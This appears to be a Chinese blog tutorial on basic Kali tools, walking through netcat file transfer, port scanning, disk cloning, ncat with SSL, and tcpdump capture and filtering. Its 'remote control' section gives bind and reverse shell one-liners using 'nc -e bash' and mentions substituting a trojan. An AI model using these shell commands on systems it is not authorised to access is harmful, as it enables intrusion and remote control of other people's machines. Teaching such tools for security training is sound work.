您的位置:首页 > 其它

Kali渗透(—):基本工具

2017-10-26 14:02 176 查看


NETCAT(NC)

网络工具中的瑞士军刀,小巧而强大,
但由于其不加密,所以可能会被嗅探


telnet/获取banner信息

可以连接服务器的端口,然后进行各种操作
nc [-options] hostname port[s]

nc -nv 10.1.1.1 110

nc -nv 10.1.1.1 25

nc -nv 10.1.1.1 80


-n
:不进行域名解析
-v
:详细模式


传输文本信息

可用于远程电子取证,信息收集

监听端口
nc -lp 端口

nc -lp 8888

连接端口
nc -nv 主机 端口

nc -nv 172.16.10.10 8888


-l
: (listen)监听模式
-p
: 端口模式


传输文件/目录

假如我想传输一个文件:
file


接收方监听端口并输出文件:
nc -lp 端口 > 文件

nc -lp 8888 > dying.mp4

发送方连接并导入文件:
nc -nv 主机 端口 < 文件 [-q] [秒数]

nc -nv 172.16.10.10 8888 < dying.mp4 -q 1


-q [秒]
:指定命令完成后几秒退出

如果不指定秒数,需要手动ctrl+D结束

或者更传统意义上的文件传输:
发送方监听端口并导入文件:
nc -q 1 -lp 端口 < 文件

接收方连接并输出文件:
nc -nv 主机 端口 > 文件


那么我想传送一个目录呢?nc默认是不支持目录的直接传递的。但我们可以换一个思想,将目录打包成文件传递过去,并在输出的时候直接解压不就很完美了吗。

发送方:
tar czvf - 目录 | nc -lp 端口 [-q] [秒数]

tar czvf - /root/ | nc -lp 8888 -q 1

接收方:
nc -nv 主机 端口 | tar xzvf -

nc -nv 172.16.10.10 8888 | tar xzvf -



加密传输文件

根据上面的各种操作,想必你差不多已经了解了nc的各种用法并且也猜到了加密传递的用法。

但我不推荐这么使用,因为很复杂,后面会介绍更方便的工具

先安装
mcrypt
,因为Kali默认不集成这个工具
apt-get install mcrypt -y

接收方:
nc -lp 8888 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4

发送方:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 172.16.10.10 8888 -q 1



远程控制

正向布属:
服务器监听:
nc -lp 8888 -e bash

-e
:exec(执行)
客户端连接:
nc -nv 172.16.10.10 8888


反向布属:
考虑到存在于DMZ区域的主机可能无法直接访问外部网络
DMZ区域主机:
nc -lp 8888

客户端:
nc -nv 172.16.10.10 8888 -e bash


bash
换成文件或木马就可以远程执行了
Windows用户可换成CMD


流媒体服务器

服务器:
cat file.mp4 | nc -lp 8888

客户端:
nc -nv 172.16.10.10 8888 | mplayer -vo x11 cache 3000 -



端口扫描

和连接差不多的使用,加个
-z
参数就行了
nc -nvz 主机 端口/批量端口

nc -nvz 172.16.10.10 1-2000

默认扫描tcp端口,你可以加上
-u
参数扫描udp端口
nc -nvzu 主机 端口/批量端口



远程克隆硬盘

利用
dd
命令进行块级别的克隆硬盘
接收方:
nc -lp 端口 | dd of=/dev/sdb

发送方:
dd if=/dev/sda | nc -nv 主机 端口



NCAT

因为nc不包含身份验证和加密能力,所以在公网上使用会很不安全
而ncat就集成了这些功能,其包含在nmap工具中
服务器端:
ncat -e bash --allow 主机 -nvl 端口 --ssl

只允许[ip]客户端登录,并采用ssl加密通道,
ncat
的参数和
nc
一模一样
客户端:
ncat -nv 主机 端口 --ssl



TCPDUMP

通常Linux不安装图形化界面,所以wireshark的使用我们以后再讲,
这里先说内置的抓包命令
tcpdump



抓包

监听网卡
tcpdump -i eth0 -s 0 -w file.pcap

监听TCP/UDP端口
tcpdump -i eth0 tcp port 22

读取保存的包文件
tcpdump -A/Xr file.pcap


-i
指定网卡
-s
指定抓取数据大小,0为不限制
-w
不显示过程并将数据写入文件
-r
读取包文件
-A
以ACSII码显示
-X
以十六进制形式显示


筛选

通常搭配awk使用

打印第三列数据并去除重复
tcpdump [-n] -r 文件 | awk '{print $3}' | sort -u

筛选来源地址
tcpdump [-n] src host 主机 -r 文件]

筛选目的地址
tcpdump [-n] dst host 主机 -r 文件

筛选端口
tcpdump [-n] port 端口 -r 文件


-n
不把IP地址解析成域名


高级筛选

tcpdump还可以针对TCP报文的标签位进行筛选,



一行TCP报文有32位/4个字节的大小,
标签位在第14个字节上,
但因为计数是从0开始,所以写的时候就是第13而不是14了



如果你想筛选确认位和推送位为1的情况,将其转换成十进制,也就是24

tcpdump -A -n 'tcp[13] = 24' -r 文件


有的教程显示TCP报文是6个标签位,这不会造成影响

Anzeme

2017/10/26
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  Kali 命令工具